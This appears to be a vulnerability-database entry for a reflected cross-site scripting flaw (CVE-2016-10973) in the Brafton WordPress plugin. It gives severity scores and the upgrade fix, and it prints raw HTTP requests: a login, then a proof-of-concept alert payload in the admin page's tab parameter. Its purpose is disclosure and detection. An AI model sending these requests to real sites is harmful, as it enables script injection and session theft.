| Title | Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting |
|---|---|
| Author | Harsh |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website. |
| Remediation | Upgrade to the latest version of the Brafton WordPress Plugin (version 3.4.9 or higher) to mitigate this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00979 |
| CVE ID | CVE-2016-10973 |
| CWE ID | CWE-79 |
| Tags | cve2016 cve wpscan wordpress wp wp-plugin xss brafton authenticated vuln |
The Brafton plugin before 3.4.8 for WordPress has XSS via the wp-admin/admin.php?page=BraftonArticleLoader tab parameter to BraftonAdminPage.php.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:138.0) Gecko/20100101 Firefox/138.0
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=LFl3zt&pwd=o4goh6&wp-submit=Log+In
GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Knoppix; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2016/CVE-2016-10973.yaml
🦈 Packet Capture: ⬇️ Download cve-2016-10973.pcap
N/AN/A